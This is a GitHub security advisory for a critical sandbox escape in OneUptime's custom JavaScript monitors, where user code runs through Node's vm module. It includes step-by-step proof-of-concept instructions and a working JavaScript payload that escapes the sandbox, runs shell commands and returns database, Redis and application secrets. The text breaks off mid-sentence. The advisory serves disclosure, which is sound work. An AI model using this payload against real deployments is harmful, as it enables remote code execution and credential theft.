GitHub Security Advisory: GHSA-v264-xqh4-9xmm
Package: @oneuptime/common (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 10.0.0
Patched in: 10.0.0

Summary: OneUptime:: node:vm sandbox escape in probe allows any project member to achieve RCE

Details:
### Summary

OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in `vm` module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.

### Details

The vulnerable code is in `Common/Server/Utils/VM/VMRunner.ts` at line 55:

```typescript
vm.runInContext(script, sandbox, { timeout })
```

The JavaScript that reaches this call comes straight from the monitor's `customCode` field, which is only validated as `Zod.string().optional()` in `Common/Types/Monitor/MonitorStep.ts:531`. No AST analysis, no keyword filtering, nothing — just a string that goes directly into `vm.runInContext()`.

Both `CustomCodeMonitor.ts` and `SyntheticMonitor.ts` import `VMRunner` directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.

Two things make this especially bad:

First, the probe runs with `network_mode: host` (see `docker-compose.base.yml:397`) and carries `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, `REDIS_PASSWORD`, and `CLICKHOUSE_PASSWORD` as environment variables. Once you escape the sandbox you have all of those.

Second, the permission to create monitors is granted to `Permission.ProjectMember` — the lowest role — in `Common/Models/DatabaseModels/Monitor.ts:46-51`. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (`disableSignup: false`), any random person on the internet can reach this in about 30 seconds.

One more thing worth flagging: the `IsolatedVM` microservice is also affected despite its name. `IsolatedVM/API/VM.ts:41` calls the exact same `VMRunner.runCodeInSandbox()` — it does NOT use the `isolated-vm` npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.

### PoC

1. Register at `/accounts/register` — signup is open by default, no invite needed
2. Create a project — you get ProjectMember automatically
3. Go to Monitors → Add Monitor → pick **Custom JavaScript Code**
4. Paste this into the code field:

```javascript
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
  data: {
    secret:     proc.env.ONEUPTIME_SECRET,
    db_pass:    proc.env.DATABASE_PASSWORD,
    redis_pass: proc.env.REDIS_PASSWORD,
    id:         run('id').toString().trim(),
    hostname:   run('hostname').toString().trim()
  }
};
```

5. Save the monitor and wait about 60 seconds for the probe to poll
6. Open Monitor Logs — the result contains the cluster secr